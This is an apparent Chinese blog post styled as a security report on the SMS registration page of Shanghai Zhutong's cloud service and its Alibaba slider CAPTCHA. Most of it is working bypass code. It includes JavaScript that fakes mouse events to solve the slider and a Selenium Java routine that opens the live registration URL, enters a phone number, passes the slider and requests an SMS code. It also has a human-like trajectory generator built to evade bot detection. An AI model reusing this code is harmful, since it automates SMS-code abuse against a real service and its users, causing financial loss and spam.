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注册安全分析报告：助通信息

news 来源：原创 2024/9/20 0:31:16

前言

由于网站注册入口容易被黑客攻击，存在如下安全问题：

暴力破解密码，造成用户信息泄露
短信盗刷的安全问题，影响业务及导致用户投诉
带来经济损失，尤其是后付费客户，风险巨大，造成亏损无底洞

所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案，但在机器学习能力提高的当下，连百度这样的大厂都遭受攻击导致点名批评，图形验证及交互验证方式的安全性到底如何？请看具体分析

一、助通PC 注册入口

简介：上海助通信息科技有限公司成立于2011年，总部位于上海、北京设有分公司。在近10年的历程中，以专业的服务团队、国际化、高标准的工作流程为超过10万余家企事业单位提供提供国内领先的网络接入服务和互联网行业增值服务。

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二、安全性分析报告：

该网站采用的是阿里的滑动条，阿里的滑动条设计高度重视用户体验，但安全方面存在一定的设计缺陷，前端将密钥显示出来，造成一定程度的安全漏洞,上报后并未引起重视，漏洞依据存在。
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三、测试方法：

前端界面分析，这是阿里的滑动条，网上有一些的教学视频，但形式都差不多，
阿里的滑动条有点像程咬金的三板斧，
1 检测是否是 webdriver （有专门的文章怎么过检）
2 滑动条检测
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滑动条在页面嵌JS 就能过去 
<script>(function () {'use strict';/*** 休眠* [url=home.php?mod=space&uid=952169]@Param[/url] time    休眠时间，单位秒* @param desc* @returns {Promise<unknown>}*/function sleep(time, desc) {return new Promise(resolve => {//sleepsetTimeout(() => {console.log(desc, time, 's')resolve(time)}, Math.floor(time * 1000))})}/*** 监测节点是否存在* @param selector    CSS选择器* @param desc* @returns {Promise<unknown>}*/function obsHas(selector, desc) {return new Promise(resolve => {//obs nodelet timer = setInterval(() => {let target = document.querySelector(selector)if (!!target) {clearInterval(timer)console.log(desc, selector)resolve(selector)} else {return}}, 100)})}function slide(id) {var slider = document.getElementById(id),container = slider.parentNode;var rect = slider.getBoundingClientRect(),x0 = rect.x || rect.left,y0 = rect.y || rect.top,w = container.getBoundingClientRect().width,x1 = x0 + w,y1 = y0;var mousedown = document.createEvent("MouseEvents");mousedown.initMouseEvent("mousedown", true, true, window, 0,x0, y0, x0, y0, false, false, false, false, 0, null);slider.dispatchEvent(mousedown);var mousemove = document.createEvent("MouseEvents");mousemove.initMouseEvent("mousemove", true, true, window, 0,x1, y1, x1, y1, false, false, false, false, 0, null);slider.dispatchEvent(mousemove);}sleep(1,'sleep').then(() => obsHas('.nc_wrapper','has')).then(() => slide('nc_1_n1z'))
})();</script>

1. 模拟器交互

private final String INDEX_URL = "https://cloud.zthysms.com/#/register?source=www";@Overridepublic RetEntity send(WebDriver driver, String areaCode, String phone) {RetEntity retEntity = new RetEntity();try {driver.get(INDEX_URL);// 输入手机号WebElement phoneElemet = driver.findElement(By.xpath("//input[@placeholder='输入手机号码']"));phoneElemet.sendKeys(phone);// 阿里滑动条验证boolean isRobot = true;int beginX = 811;int beginY = 609;if (isRobot)ActionMove.RobotMove(beginX, beginY, 320);else {boolean aliRet = AliClient.moveExec(driver, 320);if (!aliRet) {System.out.println("aliRet=" + aliRet);return retEntity;}}Thread.sleep(1000);WebElement sendElement = ChromeDriverManager.waitElement(driver, By.xpath("//span[text()='获取验证码']"), 1);if (sendElement != null && sendElement.isDisplayed()) {sendElement.click();} else {return retEntity;}Thread.sleep(1000);String msg = sendElement.getText();retEntity.setMsg(msg);// 判断是否成功if (msg != null && msg.contains("重新获取")) {retEntity.setRet(0);}return retEntity;} catch (Exception e) {retEntity.setRet(-1);retEntity.setMsg(e.toString());System.out.println(e.toString());return retEntity;}}

2. 模拟鼠标移动


public static boolean moveExec(WebDriver driver, String moveId, int distance) {try {// 获取滑动按钮WebElement moveElemet = ChromeDriverManager.waitElement(driver, By.id(moveId), 100);Actions actions = new Actions(driver);actions.moveToElement(moveElemet).perform();Thread.sleep(500);List<Integer> trackList = ActionMove.getTrack(distance);actions.clickAndHold(moveElemet).perform();// 按住鼠标左键不释放for (Integer moveInt : trackList) {actions.moveByOffset(moveInt, 0).perform();// 移动}actions.release(moveElemet).perform();// 释放鼠标左键// 滑动结果By langCntBy = By.className("nc-lang-cnt");WebElement langCntElemet = ChromeDriverManager.waitElement(driver, langCntBy, 50);String langCntInfo = (langCntElemet != null) ? langCntElemet.getText() : null;if (langCntInfo != null && langCntInfo.contains("验证通过")) {return true;} else {System.out.println("AliUtil.moveExec() langCntInfo=" + langCntInfo);return false;}} catch (Exception e) {System.out.println("AliClient.moveExec() e=" + e.toString());return false;}}

3. 轨迹生成（单轴通过）


/*** 根据距离获取滑动轨迹* * @param distance需要移动的距离* @return*/public static List<Integer> getTrack(int distance) {List<Integer> track = new ArrayList<Integer>();// 移动轨迹List<Integer[]> list = getXyTrack(distance);for (Integer[] m : list) {track.add(m[0]);}return track;}/*** 双轴轨道生成算法，主要实现平滑加速和减速* * @param distance* @return*/public static List<Integer[]> getXyTrack(int distance) {List<Integer[]> track = new ArrayList<Integer[]>();// 移动轨迹try {int a = (int) (distance / 3.0) + random.nextInt(10);int h = 0, current = 0;// 已经移动的距离BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 减速阈值BigDecimal move = null;// 每次循环移动的距离List<Integer[]> subList = new ArrayList<Integer[]>();// 移动轨迹boolean plus = true;Double t = 0.18, v = 0.00, v0;while (current <= distance) {h = random.nextInt(2);if (current > distance / 2) {h = h * -1;}v0 = v;v = v0 + a * t;move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速if (move.intValue() < 1)move = new BigDecimal(1L);if (plus) {track.add(new Integer[] { move.intValue(), h });} else {subList.add(0, new Integer[] { move.intValue(), h });}current += move.intValue();if (plus && current >= mid.intValue()) {plus = false;move = new BigDecimal(0L);v = 0.00;}}track.addAll(subList);int bk = current - distance;if (bk > 0) {for (int i = 0; i < bk; i++) {track.add(new Integer[] { -1, h });}}System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());return track;} catch (Exception e) {System.out.print(e.toString());return null;}}

4. 测试返回结果：

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四丶结语

上海助通信息科技在近10年的历程中，以专业的服务团队、国际化、高标准的工作流程为超过10万余家企事业单位提供提供国内领先的网络接入服务和互联网行业增值服务，技术实力雄厚，但在验证产品方面，不是自己研发而是采用第三方的阿里的滑动条，阿里的产品由于过度重视用户体验，简单的滑动条特别，模拟器只需要单轴的模拟轨道就可以通过，说明阿里对轨迹的校验比较宽松，之前的分析显示，阿里主要是靠模拟器识别，如果这道关过了，就没有其它的防护措施了。

很多人在短信服务刚开始建设的阶段，可能不会在安全方面考虑太多，理由有很多。
比如：“ 需求这么赶，当然是先实现功能啊 ”，“ 业务量很小啦，系统就这么点人用，不怕的 ” ， “ 我们怎么会被盯上呢，不可能的 ”等等。

有一些理由虽然有道理，但是该来的总是会来的。前期欠下来的债，总是要还的。越早还，问题就越小，损失就越低。

谷歌图形验证码在AI 面前已经形同虚设，所以谷歌宣布退出验证码服务，那么当所有的图形验证码都被破解时，大家又该如何做好防御呢？

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